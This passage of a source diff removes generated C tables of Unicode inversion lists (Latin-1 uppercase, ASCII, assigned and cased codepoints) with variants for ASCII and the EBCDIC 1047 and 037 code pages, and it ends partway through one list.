-static const UV UpperLatin1_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x80, - 0x100 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV UpperLatin1_invlist[] = { /* for EBCDIC 1047 */ - 55, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x15, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x26, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA, - 0x100 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV UpperLatin1_invlist[] = { /* for EBCDIC 037 */ - 57, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x16, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x25, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xB0, - 0xB1, - 0xBA, - 0xBC, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA, - 0x100 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_ASCII_invlist[] = { /* for ASCII/Latin1 */ - 2, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x80 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_ASCII_invlist[] = { /* for EBCDIC 1047 */ - 54, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x15, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x26, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_ASCII_invlist[] = { /* for EBCDIC 037 */ - 56, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4, - 0x5, - 0x6, - 0x7, - 0x8, - 0xB, - 0x14, - 0x16, - 0x17, - 0x18, - 0x1A, - 0x1C, - 0x20, - 0x25, - 0x28, - 0x2D, - 0x30, - 0x32, - 0x33, - 0x37, - 0x38, - 0x3C, - 0x3E, - 0x3F, - 0x41, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x81, - 0x8A, - 0x91, - 0x9A, - 0xA1, - 0xAA, - 0xB0, - 0xB1, - 0xBA, - 0xBC, - 0xC0, - 0xCA, - 0xD0, - 0xDA, - 0xE0, - 0xE1, - 0xE2, - 0xEA, - 0xF0, - 0xFA -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_ASSIGNED_invlist[] = { /* for all charsets */ - 1298, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CASED_invlist[] = { /* for ASCII/Latin1 */ - 271, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69E, - 0xA722, - 0xA788, - 0xA78B, - 0xA78F, - 0xA790, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 